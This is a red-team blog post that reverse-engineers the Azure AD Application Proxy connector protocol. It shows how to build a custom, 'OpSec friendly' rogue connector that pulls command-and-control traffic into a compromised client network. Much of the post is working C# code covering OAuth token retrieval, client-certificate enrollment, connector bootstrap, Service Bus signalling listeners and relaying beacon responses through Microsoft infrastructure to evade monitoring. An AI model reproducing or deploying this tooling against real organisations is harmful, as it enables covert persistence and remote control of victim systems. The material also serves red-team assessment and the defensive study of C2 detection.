Skip to Main Content
April 21, 2021

Azure Application Proxy C2

Written by Adam Chester
Penetration Testing Red Team Adversarial Attack Simulation Security Testing & Analysis

With the ever-tightening defensive grip on techniques like domain fronting and detections becoming more effective at identifying common command and control (C2) traffic patterns, our ability to adapt to different egress methods is being tested. Of course, finding methods of pushing out C2 traffic can be a fun exercise during a Red Team engagement. A common trick here at TrustedSec is to mask traffic using a protocol difficult to block within a client environment, so if the client is using Slack for communication, pushing C2 over Slack is always a good test of an organisation's monitoring capabilities. That vulnerable web application you found during initial access? Set up a a C2 web tunnel and you're good to go! But one technology that I've seen scattered around client environments with little focus has been the Azure Active Directory (AD) Application Proxy.

Chances are you will have seen this yourself when working with clients that are embracing the cloud but still have on-premises applications that need to be exposed externally. So, what does an Application Proxy target URL look like? Well if we create a simple Application Proxy called legit on an Azure tenant named l33t, we end up with a URL of https[://]legit-133t.msappproxy.net (or optionally https[://]legit.l33t.msappproxy.net). Any connections made to this URL are passed over to a deployed Application Proxy connector that is installed locally within the client environment and whose job it is to tunnel traffic over to the web application and surface the response to the user.

Now the obvious thing to do in this case would be to throw your traffic over some cleverly crafted Application Proxy URL and hope that the reputation of msappproxy.net carries you through to your team server. And while this may look good, this doesn't help us to blend into a client's environment. What if we were to flip this on its head, and instead of pushing C2 traffic in a typical fashion, we pull our traffic through a proxy we have installed within the client environment? In this post, we are going to look at the Application Proxy protocol, how it works, and show how we can recreate enough functionality to allow us to create a custom inbound proxy into a client environment for our C2 traffic.

Application Proxy, How Does This Magic Work?

For anyone reading about Application Proxy, you may see some similarities with another Azure offering that has no doubt caught your eye in the past: Service Bus. And you are right to identify those similarities—Application Proxy is actually layered on top of Azure Service Bus (along with several other Azure technologies) by using its transport as a way of passing traffic internally. But let's not get ahead of —we'll start at the beginning by setting up a connector and pulling apart the traffic generated when the service is up and running.

To create an Application Proxy connector, we need to log into our Azure portal and download the installer.

Figure 1 - Application Proxy connector download

During the installation process, we will be prompted to authenticate with an Azure AD account before the service can start. After a few minutes, we refresh the list of connectors and our hostname should pop up.

Figure 2 - Running Application Proxy connector shown in Azure Portal

With the connector deployed, we next need to create a new application onto which our installed connector will forward traffic.

Figure 3 - Adding a new Application in Azure Portal

With the application endpoint created and our connector up and running, we can move onto inspecting the TLS traffic. Fiddler is perfect for this, but if we attempt to start the connector service while Fiddler is running, we are going to run into an issue.

Figure 4 - Fiddler failing to establish TLS connection

This gives us our first indication that Application Proxy may be using client-side certificates for mutual authentication. A quick check of the certificate store and we can see that this is indeed the case.

Figure 5 - SSL certificate added to local certificate store

To help Fiddler pass our certificate along, we simply export the public key of the certificate and add it into the ~\Documents\Fiddler2 directory as ClientCertificate.cer. Once added, we will see that subsequent requests to /ConnectorBootstrap will proceed fine, and we will see our first XML blob being sent over to Azure with some information about our environment.

Figure 6 - Application Proxy bootstrap request

The response to this request contains information on how Web Socket channels should be established, which we see being initialisedAs we will see later in the post, these Web Socket connections are actually signalling channels used by Application Proxy to indicate when an inbound request has been made, passing information such as the URL requested, parameters sent, cookies and headers provided, etc. next.

Figure 7 - Application Proxy signalling channels over Service Bus

As we will see later in the post, these Web Socket connections are actually signalling channels used by Application Proxy to indicate when an inbound request has been made, passing information such as the URL requested, parameters send, cookies and headers provided etc.

Once each of the signaling channels has been established, the connector service sits and waits for Azure to pass it some data. This of course happens when we make a request to our application URL in which we see Application Proxy spring into life. Being signaled by a Web Socket, the connector makes a request to /subscriber/admin, where a returned JSON payload provides information on where the connector should forward the inbound request, which in our case is the configured http://www.example.com URL.

Figure 8 - /subscriber/admin response

Finally, we see a response being delivered to Azure containing the relayed data from the target HTTP server. This data is provided as a chunked POST request to /subscriber/connection.

Figure 9 - POST data to /subscriber/connection to return to user

And with the request handled, the contents of the web application are surfaced to our URL.

Figure 10 - Response from Application Proxy rendered to user

Now that we have an overview of just how this all works from a network perspective, it's time to install Application Proxy connector on our compromised target and end this post right? Well…no. Unless you want artifacts like certificates and services being dropped, we will need to craft our own version of Application Proxy connector, which is a little bit more OpSec friendly.

Generating a Client Certificate

The first thing that we will need to tackle in our journey to recreate a connector is the client certificate creation process. The way this works is by generating an authentication token by navigating to a URL of:

https://login.microsoftonline.com/common/oauth2/authorize?resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&response_type=code&haschrome=1&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient&client-request-id=aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee&prompt=login&x-client-SKU=PCL.Desktop&x-client-Ver=3.19.8.16603&x-client-CPU=x64&x-client-OS=Microsoft+Windows+NT+10.0.19041.0

Once the OAuth authentication is completed, we are redirected to a URL of:

https://login.microsoftonline.com/common/oauth2/nativeclient?code=EXTRA_LONG_TOKEN_HERE&session_state=SESSION_STATE_HERE

We need to take the code parameter value, which is our authentication token, and make a second request to Azure to craft a JWT. This involves a POST request to a URL of https://login.microsoftonline.com/common/oauth2/token with several parameters:

protected static string RequestAccessToken(string token)
{
    string result;
    HttpWebRequest request = (HttpWebRequest)WebRequest.CreateHttp(OAuthEndpoint);

    request.Method = "POST";
    request.Headers[SKUHeaderName] = SKUHeader;
    request.Headers[VerHeaderName] = VersionHeader;
    request.Headers[CPUHeaderName] = CPUHeader;
    request.Headers[OSHeaderName] = OSHeader;
    request.Headers[PKeyAuthHeaderName] = PKeyAuthHeader;
    request.Headers[ClientRequestHeaderName] = Guid.NewGuid().ToString();
    request.Headers[ReturnClientHeaderName] = ReturnClientHeader;

    using (StreamWriter sw = new StreamWriter(request.GetRequestStream()))
    {
        sw.Write(String.Format("resource=https%3A%2F%2Fproxy.cloudwebappproxy.net%2Fregisterapp&client_id=55747057-9b5d-4bd4-b387-abf52a8bd489&grant_type=authorization_code&code={0}&redirect_uri=https%3A%2F%2Flogin.microsoftonline.com%2Fcommon%2Foauth2%2Fnativeclient", token));
    }
...

In response, we will receive a JWT, which we will need to generate our client certificate.

Next up, we need to generate a private key and corresponding Certificate Signing Request. To do this, we will use the CertEnroll COM classes to generate our CSR and private key:

protected static string GenerateCSR()
{
      var objPrivateKey = new CX509PrivateKey();
      objPrivateKey.MachineContext = false;
      objPrivateKey.Length = 2048;
      objPrivateKey.ProviderType = X509ProviderType.XCN_PROV_RSA_AES;
      objPrivateKey.KeySpec = X509KeySpec.XCN_AT_KEYEXCHANGE;
      objPrivateKey.KeyUsage = X509PrivateKeyUsageFlags.XCN_NCRYPT_ALLOW_ALL_USAGES;
      objPrivateKey.CspInformations = new CCspInformations();
      objPrivateKey.CspInformations.AddAvailableCsps();
      objPrivateKey.ExportPolicy = X509PrivateKeyExportFlags.XCN_NCRYPT_ALLOW_EXPORT_FLAG;
      objPrivateKey.Create();

      var cert = new CX509CertificateRequestPkcs10();
      cert.InitializeFromPrivateKey(X509CertificateEnrollmentContext.ContextUser, objPrivateKey, string.Empty);

      var objExtensionKeyUsage = new CX509ExtensionKeyUsage();
      objExtensionKeyUsage.InitializeEncode((X509KeyUsageFlags)X509KeyUsageFlags.XCN_CERT_DIGITAL_SIGNATURE_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_NON_REPUDIATION_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_KEY_ENCIPHERMENT_KEY_USAGE |
                                                  X509KeyUsageFlags.XCN_CERT_DATA_ENCIPHERMENT_KEY_USAGE
                                                  );
      cert.X509Extensions.Add((CX509Extension)objExtensionKeyUsage);

      var cobjectId = new CObjectId();
      cobjectId.InitializeFromName(CERTENROLL_OBJECTID.XCN_OID_PKIX_KP_CLIENT_AUTH);

      var cobjectIds = new CObjectIds();
      cobjectIds.Add(cobjectId);

      var pValue = cobjectIds;
      var cx509ExtensionEnhancedKeyUsage = new CX509ExtensionEnhancedKeyUsage();
      cx509ExtensionEnhancedKeyUsage.InitializeEncode(pValue);
      cert.X509Extensions.Add((CX509Extension)cx509ExtensionEnhancedKeyUsage);

      var cx509Enrollment = new CX509Enrollment();
      cx509Enrollment.InitializeFromRequest(cert);
      var output = cx509Enrollment.CreateRequest(EncodingType.XCN_CRYPT_STRING_BASE64);

      return output;
}

Once we have our CSR, we can pass this over to Azure using WCF with the endpoint https://[AZURE-SUBSCRIPTION-ID].registration.msappproxy.net/register. I won't cover all of the WCF code here as its quite lengthy, but we essentially pass over an encoded CSR within a RegistrationRequest object along with some details about our connector machine. The object that we pass is populated as:In response to our request, we are granted a signed certificate that we can use to generate a PFX. We will export this to a new file which we will later bundle within our crafted connector:

var registrationRequest = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequest()
{
  Base64Csr = output,
  Feature = Microsoft.ApplicationProxy.Common.ConnectorFeature.ApplicationProxy,
  FeatureString = Feature,
  RegistrationRequestSettings = new Microsoft.ApplicationProxy.Common.Registration.RegistrationRequestSettings()
  {
    SystemSettingsInformation = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
    {
      MachineName = MachineName,
      OsLanguage = OSLanguage,
      OsLocale = OSLocale,
      OsSku = OSSKU,
      OsVersion = OSVersion
    },
    PSModuleVersion = PSModuleVersion,
    SystemSettings = new Microsoft.ApplicationProxy.Common.Utilities.SystemSettings.SystemSettings()
    {
      MachineName = MachineName,
      OsLanguage = OSLanguage,
      OsLocale = OSLocale,
      OsSku = OSSKU,
      OsVersion = OSVersion
    }
  },
  TenantId = tennantID.Value,
  UserAgent = UserAgent
};

In response to our request we are granted a signed certificate which we can use to generate a PFX. We will export this to a new file which we will later bundle within our crafted connector:

var certifiateData = result.Certificate;
var certificateEnrollmentContext = X509CertificateEnrollmentContext.ContextUser;

CX509Enrollment cx509Enrollment = new CX509Enrollment();
cx509Enrollment.Initialize(certificateEnrollmentContext);
cx509Enrollment.InstallResponse(InstallResponseRestrictionFlags.AllowUntrustedCertificate, Convert.ToBase64String(certificateData), EncodingType.XCN_CRYPT_STRING_BASE64, null);

// Export PFX to file with password 'password'
var pfx = cx509Enrollment.CreatePFX("password", PFXExportOptions.PFXExportChainNoRoot, EncodingType.XCN_CRYPT_STRING_BASE64);
using (var fs = File.OpenWrite(outputPath))
{
    var decoded = Convert.FromBase64String(pfx);
    fs.Write(decoded, 0, decoded.Length);
}

Finally, we will need the Connector ID UUID, which we will now find within our Azure portal Application Proxy connector settings:

Figure 11 - Connector ID UUID shown in Azure Portal

The source code to a POC automating this process can be found here.

Creating Our Own Connector

Now that we have a signed certificate, how can we begin talking with Azure using Application Proxy? I recommend reading this section accompanied by the published POC code (found here) to get a better understanding about what we are doing.

As this technology relies on Service Bus, we will start our project by installing the NuGet package WindowsAzure.ServiceBus.

We know from our initial review that we need to send over a bootstrap request to the endpoint https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net. When sending any request over to Application Proxy, we need to make sure that we are only using TLS 1.2, which we can set with:

ServicePointManager.SecurityProtocol = System.Net.SecurityProtocolType.Tls12;

We also need to ensure that Service Bus is operating over HTTPS rather than TCP with:

ServiceBusEnvironment.SystemConnectivity.Mode = Microsoft.ServiceBus.ConnectivityMode.Https;

We can then craft our WCF channel using:

if (!Uri.TryCreate(String.Format("https://{0}.bootstrap.msappproxy.net", SubscriptionId), UriKind.Absolute, out serviceEndpoint))
{
  throw new BootstrapException(String.Format("Could not parse provided URI: {0}", String.Format(BootstrapURL, SubscriptionId)));
}

var serviceChannel = new WebChannelFactory<IBootstrapService>(new WebHttpBinding
{
  Security =  {
    Mode = WebHttpSecurityMode.Transport,
    Transport = {
      ClientCredentialType = HttpClientCredentialType.Certificate
    }
  }
}, serviceEndpoint)
{
  Credentials = {
    ClientCertificate = {
      Certificate = clientCert
    }
  }
};

To explain this blob a bit further, what we are doing is telling .NET to use our previously generated client certificate within clientCert when making a request to serviceEndpoint, which will be set to https://[AZURE-SUBSCRIPTION-ID].bootstrap.msappproxy.net.

The request we will be sending over will be represented by a BootstrapRequest object, which we will need to populate with various parameters:

private const string LastNETVersion = "461814";
private const string MachineName = "poc.lab.local";
private const string OSLanguage = "1033";
private const string OSLocale = "0409";
private const string OSSKU = "79";
private const string OSVersion = "10.0.17763";
private const string SDKVersion = "1.5.1975.0";
...
BootstrapRequest request = new BootstrapRequest
{
  InitialBootstrap = true,
  ConsecutiveFailures = 0,
  RequestId = requestId,
  SubscriptionId = SubscriptionId,
  ConnectorId = ConnectorId,
  AgentVersion = SDKVersion,
  AgentSdkVersion = SDKVersion,
  ProxyDataModelVersion = SDKVersion,
  BootstrapDataModelVersion = SDKVersion,
  MachineName = MachineName,
  OperatingSystemVersion = OSVersion,
  OperatingSystemSKU = OSSKU,
  OperatingSystemLanguage = OSLanguage,
  OperatingSystemLocale = OSLocale,
  UseSpnegoAuthentication = false,
  UseServiceBusTcpConnectivityMode = false,
  IsProxyPortResponseFallbackDisabledFromRegistry = true,
  CurrentProxyPortResponseMode = "Primary",
  UpdaterStatus = "Running",
  LatestDotNetVersionInstalled = LastNETVersion,
  PerformanceMetrics = new ConnectorPerformanceMetrics(new List<AggregatedCpuData>(), 0, 0, 0, 0),
};

Finally, we can send this over to Azure and retrieve the response:

var bootstrapService = serviceChannel.CreateChannel();
var resp = bootstrapService.ConnectorBootstrapAsync(request);
var result = resp.GetAwaiter().GetResult();

Once we have our response, we will need to go about setting up our Web Socket channels using Service Bus. We do this is by taking the list of SignalingListenerEndpoints objects returned from our bootstrap request to construct our signalling Web Socket channels:

// Generate the websocket URL from the returned ServiceBusSignalingListenerEndpointSettings
string address = string.Format("{0}://{1}.{2}/{3}",
                signallingEndpointSettings.Scheme,
                signallingEndpointSettings.Namespace,
                signallingEndpointSettings.Domain,
                signallingEndpointSettings.ServicePath
            );

if (!Uri.TryCreate(address, UriKind.Absolute, out signallingURI))
{
  throw new BootstrapException(String.Format("Could not parse provided signalling URI: {0}", address));
}

var host = new ServiceHost(typeof(ConnectorSignalingService), signallingURI);
var tokenProvider = TokenProvider.CreateSharedAccessSignatureTokenProvider(signallingEndpointSettings.SharedAccessKeyName, signallingEndpointSettings.SharedAccessKey);
var endpoint = host.AddServiceEndpoint(typeof(Microsoft.ApplicationProxy.Common.SignalingDataModel.IConnectorSignalingService), binding, address);
var transportClientEndpointBehavior = new TransportClientEndpointBehavior(tokenProvider);

endpoint.EndpointBehaviors.Add(statusBehavior);
endpoint.EndpointBehaviors.Add(transportClientEndpointBehavior);

host.Open();

In our case, the service we are exposing via Service Bus needs to conform to the IConnectorSignalingService interface:

[ServiceBehavior(InstanceContextMode = InstanceContextMode.Single, ConcurrencyMode = ConcurrencyMode.Multiple, Namespace = "Microsoft.ApplicationProxy.Connector.Listener")]
public class ConnectorSignalingService : IConnectorSignalingService
{

This interface mandates that we expose a SignalConnectorAsync method, which will be passed information about the inbound request:

public Task<SignalResult> SignalConnectorAsync(SignalMessage message)
{
...
}

Now when a request comes in over Service Bus, we will receive a SignalMessage object parameter that contains some essential information, including the ReturnHost, which is where we will be directing the response to this inbound request.

Figure 12 - message Object Variables

We are now able to see information on the inbound request, which of course we will need when tunnelling C2 traffic.

Figure 13 - HTTP information from inbound Service Bus channel

At this point, there is still a part of the puzzle missing. In the signaling request, we will see information about a GET request, but what about the body of a POST request? In order to retrieve any further data, we will need to make a request to the URL:

https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST;

The response to this will provide us with any data sent as part of the request:At this stage, we need to actually handle the request. The legitimate Application Proxy connector will relay this request to some internal service, but in our case, we want to run C2 over this channel, so we will implement External C2 so we don't need to relay the request anywhere.

Figure 14 - POST data from Application Proxy

At this stage we need to actually handle the request. Now of course the legit Application Proxy Connector will relay this request to some internal service, however in our case we want to run C2 over this channel, so we will just implement External C2 so we don't need to relay the request anywhere.

Once we have some data to return from External C2, we again need to make a HTTPS request to the ReturnHost with the URL:

https://[RETURN_HOST]/subscriber/payload?requestId=ID_OF_REQUEST

Here we will POST our data back, which will be returned:

const string SubscriberConnection = "https://{0}/subscriber/connection?requestId={1}";

var originalHeaders = string.Format("HTTP/1.1 200 OK\r\nDate: {0} GMT\r\nContent-Length: {1}\r\nContent-Type: text/html\r\nServer: Microsoft-IIS/10.0\r\n\r\n", DateTime.Now.ToUniversalTime().ToString("r"), beaconResponse.Length);

// Send the response
request = (HttpWebRequest)WebRequest.CreateHttp(String.Format(SubscriberConnection, message.OverridenReturnHost, Guid.NewGuid()));
request.Headers[SessionIDHeader] = message.SessionId.ToString();
request.Headers[CertificateAuthenticationHeader] = CertificateAuthenticationValue;
request.Headers[DnsCacheLookupHeader] = DnsCacheLookupValue;
request.Headers[ConnectorHeader] = ConnectorValue;
request.Headers[DataModelHeader] = DataModelValue;
request.Headers[ConnectorSPHeader] = ConnectorSPValue;
request.Headers[TransactionIDHeader] = message.TransactionId.ToString();
request.Headers[UseDefaultProxyHeader] = UseDefaultProxyValue;
request.Headers[HeadersSizeHeader] = (originalHeaders.Length).ToString();
request.Headers[ConnectorLatencyHeader] = ConnectorLatencyValue;
request.Headers[PayloadAttemptsHeader] = PayloadAttemptsValue;
request.Headers[ConnectorLoadFactoryHeader] = ConnectorLoadFactoryValue;
request.Headers[ReponseAttemptsHeader] = ResponseAttemptsValue;
request.Headers[ConnectorAllLatencyHeader] = ConnectorAllLatencyValue;

request.AllowWriteStreamBuffering = false;
request.ClientCertificates.Add(C2Bus.AppProxyC2.clientCert);
request.Method = "POST";
request.SendChunked = true;

var concatBytes = ASCIIEncoding.ASCII.GetBytes(originalHeaders).Concat(ASCIIEncoding.ASCII.GetBytes(beaconResponse)).ToArray();

using (Stream writer = request.GetRequestStream())
{
    writer.Write(concatBytes, 0, concatBytes.Length);
}

And that's pretty much it for establishing the authentication, Service Bus signaling channels, and transferring data over Application Proxy. When all wired up, we get a nice External C2 connection:

The full POC for this can be found here.

Hopefully this walkthrough has shed some light on one of the many technologies that can be used to tunnel traffic and how we can go about making use of the adaptability of C2 frameworks to show our clients what is possible.